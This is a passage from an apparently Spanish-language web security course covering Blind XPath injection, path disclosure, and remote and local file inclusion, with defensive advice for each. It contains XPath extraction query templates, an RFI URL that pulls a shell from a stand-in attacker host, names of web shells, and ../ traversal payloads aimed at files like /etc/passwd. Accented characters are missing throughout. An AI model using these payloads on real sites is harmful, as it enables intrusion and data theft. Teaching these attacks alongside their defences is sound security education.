Nombre del nodo:[PATH]child::node()[position()=[NUMNODO] and

starts-with(name(),'[VALORES]')]

Nmero de subnodos:count([PATH]child::node())>[NUMERO]

2) Para extraer la informacin de los atributos:

Nmero de atributos de un nodo:count([PATH]child::node()[[NUMNODO]]/@*)>[NUMERO]


Longitud del nombre del atributo:[PATH]child::node()[position()=[NUMNODO]] and

string-length([PATH]child::node()

[[NUMNODO]]/@*[position()=[NUMATT] and

string-length(name())>[NUMERO]])>0

Longitud del valor del atributo:[PATH]child::node()[position()=[NUMNODO]] and

string-length([PATH]child::node()

[[NUMNODO]]/@*[position()=[NUMATT]])>[NUMERO]

Nombre del atributo:[PATH]child::node()[position()=[NUMNODO]] and

[PATH]child::node()[[NUMNODO]]/@*[position()=[NUMATT] and

starts-with(name(),'[VALORES]')

Valor del atributo:[PATH]child::node()[position()=[NUMNODO]] and

starts-with([PATH]child::node()

[[NUMNODO]]/@*[position()=[NUMATT]], '[VALORES]')

3) Para extraer el contenido de un nodo, los elementos:

Longitud del elemento:string-length([PATH]/child::text())>[NUMERO]

Valor del elemento:starts-with([PATH]child::text(),'[VALORES]')

Esta tcnica puede resultar muy tediosa y lenta si se realiza manualmente, peropara ello ya existen herramientas que hacen este proceso de forma automti-ca y, adems, utilizan tcnicas de optimizacin como reduccin del charsetpara encontrar los datos realizando un reducido nmero de consultas.

Implementar una reduccin de charset es algo simple, basta con hacer unaquery por cada carcter, y comprobar si ese carcter existe en algn nodo, ele-mento o atributo del rbol. En caso negativo, se elimina ese carcter del char-set. Esto puede hacerse con la siguientes query:

"//*[contains(name(), 'a')] or //@*[contains(name(), 'a')]

or //attribute::*[contains(.,'a')] or contains(//*, 'a')"

Si esta nos devuelve un resultado positivo se mantiene la letra a en el charsetde letras a probar, sin embargo, si nos devuelve la pgina que hemos asociadoa una peticin falsa, podremos eliminar el carcter a del resto de pruebas arealizar, pues ya sabremos que nunca va a aparecer.


Otra tcnica interesante para la optimizacin del Blind XPath Injection es elde learn words, de modo que cuando se extrae el nombre de un nodo, ele-mento o atributo, se guarda en una lista. Cuando se encuentre otro nodo/ele-mento/atributo de una longitud de nombre igual a la de algn elemento yaextrado, hacer comprobaciones con los nodos ya conocidos, pues es probableque si tienen la misma longitud, tengan el mismo nombre.

En la siguiente imagen se muestra una herramienta en funcionamiento, unavez descargado el rbol XML de una aplicacin web vulnerable.

Figura 41. rbol XML extrado mediante una aplicacinautomatizada

2.3.2. Cmo protegerse de tcnicas de XPath Injection?

La proteccin contra este tipo de tcnicas es muy simple, y debe correr dela mano del programador de la aplicacin. nicamente hay que realizar unfiltrado de las entradas teniendo en cuenta dos factores:

Si la entrada es numrica, antes de formar la query, comprobar que el valorintroducido en la entrada es un valor numrico y no una cadena de texto.

Si la entrada es de texto, remplazar los caracteres peligrosos como la comi-lla simple y doble, por \ y \.


3. Ataques de Path Transversal

Mediante las tcnicas de Path Transversal se va a lograr acceder a in-formacin referente al servidor, desde simplemente el directorio dondese est ejecutando la aplicacin web hasta lograr descargar ficheros delservidor. Cada uno de estos fallos recibe un nombre y lo estudiaremospor separado.

La informacin obtenida puede ser usada por un atacante para lograr accedera otros recursos de la pgina mediante algn tipo de ingeniera social o dedu-ciendo posibles nombres de ficheros y/o carpetas para posteriormente accedera ellos.

Vamos a analizar desde los menos peligrosos hasta los ms crticos, viendocmo unos se apoyan en los anteriores y cmo, en cierta medida, dependenunos de los otros y realmente estn muy relacionados entre s.

3.1. Path Disclosure

Este problema no es especfico de una tecnologa, sino que puede darse encualquier lenguaje de programacin y en cualquier tecnologa de servidor. Es-ta vulnerabilidad no es crtica por s misma, pero puede facilitar las cosas aun atacante que intente cualquiera de los fallos que se comentarn posterior-mente.

El concepto es lograr conocer la ruta en la que se est ejecutando la apli-cacin. Para ello nos valdremos de mensajes de error (provocados o no)que contengan rutas a ficheros. Esto lo lograremos introduciendo carac-teres errneos en los parmetros o accediendo a rutas que no existan.

Figura 42. Fallo de Path Disclosure


Este mensaje de error puede darse al intentar reproducir cualquiera de los de-ms fallos explicados en esta seccin. Normalmente, los lenguajes de progra-macin del lado del servidor, si no tienen los errores controlados, mostrarnun mensaje de error predefinido, que usualmente contiene la ruta del ficheroafectado.

Evitar este tipo de errores es tan sencillo como generar nuestras propias pgi-nas de error. Tambin controlar cualquier tipo de excepcin en el cdigo esbuena prctica. En definitiva, no dejar que los mensajes por defecto se mues-tren nunca al usuario.


4. Ataques de inyeccin de ficheros

4.1. Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar cdigoremoto dentro de la aplicacin vulnerable. Se basa en la idea de que, aligual que es posible cargar un fichero local para su inclusin dentro de lapgina, podramos cargar uno remoto que contuviese cdigo malicioso.

Esto es posible en lenguajes interpretados, donde podemos incluir un ficherocon cdigo y aadirlo a la ejecucin. En el siguiente ejemplo se toma comobase una pgina programada en PHP:

http://www.mipagina.com/mostrar.php?pag=index.php

PHP hace uso de funciones que permiten la inclusin de ficheros externospara generar pginas ms complejas y ms completas. En el hipottico ejemploanterior, el fichero mostrar.php hara uso de alguna de estas funciones de PHPque permiten la inclusin dinmica de ficheros:

include($pag) require($pag) include_once($pag) require_once($pag)

Estas funciones reciben un parmetro (llamado $pag en este ejemplo) que in-dica la ruta del fichero que ha de incluirse. Si la variable pag no est suficien-temente controlada, podremos hacer una llamada a un fichero externo que sedescargar e interpretar en el lado del servidor:

http://www.mipagina.com/mostrar.php?pag=http://malo.com/shell.txt

En la llamada anterior el servidor mipagina.com solicitar a malo.com elfichero shell.txt que incluir cdigo PHP vlido, que se ejecutar enmipagina.com.

Este fallo se debe a una mala configuracin del servidor PHP, el cual permite lainclusin de ficheros externos. La configuracin correcta debera ser la prohi-bicin total de realizar estas acciones.


Para establecer una configuracin adecuada en el intrprete de PHP, debemosbuscar el fichero php.ini de configuracin (en Linux suele estar en /etc/php5/php.ini) y establecer la clave de configuracin allow_url_includea false.

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-quier cdigo deseado en el servidor web con los riesgos que esto conlleva.Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-cin de la aplicacin web. Van desde un simple intrprete de comandos a unacompleta shell equipada con su propio explorador de ficheros, opciones pa-ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas enel equipo remoto.

Figura 43. Shell remota ejecutndose

Existe una gran variedad de shells remotas que podemos encontrar en Internet.Por ejemplo, la shell mostrada en la figura anterior se llama c99, aunque existenotras como la r57 o c100. De todas maneras siempre podemos programarnosuna propia con la funcionalidad que necesitemos.

4.2. Local file inclusion

Esta vulnerabilidad, al contrario que la anterior, afecta tanto a lenguajes com-pilados como interpretados. Se basa en la posibilidad de incluir dentro de lapgina un fichero local del usuario con el que se ejecuta el servidor de aplica-ciones web que tenga permisos de lectura.

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero sueleser ms comn en dos sitios bien diferenciados:

Pginas de plantillas: carga un fichero desde otro y le da formato.


Pginas de descargas: recibe un parmetro con el nombre del fichero adescargar y lo enva al cliente.

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-sas, a veces tambin. Para lograr explotar esta vulnerabilidad de una manerasatisfactoria deberamos poder hacer llamadas a ficheros fuera de la ruta ori-ginal. Esto lo haramos intentando incluir ficheros de un directorio superiorusando los caracteres ../ en sistemas Linux o ..\ en sistemas Windows msel nombre de un fichero del que conozcamos su existencia. Por ejemplo, sos-pechamos que la siguiente URL tiene un fallo de local file inclusion:

http://www.victima.com/noticias/detalle.php?id=4&tipo=deportes.php

Entonces, para corroborarlo y determinar que efectivamente nos encontramosfrente a un fallo de remote file inclusion podramos modificar la URL hasta quequedase como sigue:

http://www.victima.com/noticias/detalle.php?id=4&tipo=../index.php

Con esta simple comprobacin podramos detectar si una pgina va a ser vul-nerable a local file inclusion.

Esta tcnica se puede ampliar (si los permisos lo permiten y no se aplica elconcepto del mnimo privilegio) a ficheros fuera del directorio de la aplicacinweb y empezar a incluir ficheros del propio sistema operativo. Esto nos per-mitir obtener ms informacin sobre el equipo.

Para localizar sin equivocaciones los ficheros podemos usar un fallo de PathDisclosure para que nos d informacin sobre la ruta local donde se ubicanestos. De todas maneras, y si no sabemos la ruta relativa de un fichero frente

a la pgina vulnerable, podemos usar las rutas directas4.

Existen muchos ficheros interesantes a los que acceder mediante esta tcnica,dependiendo de los objetivos del atacante. Adems estos variarn entre distin-tos sistemas operativos. A continuacin se detallan algunos de estos ficheroscomo muestra de la informacin que podemos llegar a obtener:

/etc/passwd: Fichero de usuarios en sistemas Linux. Contiene un com-pendio de los usuarios existentes as como datos relativos a ellos, comonombre o directorio del home.

/etc/hosts: Permite guardar informacin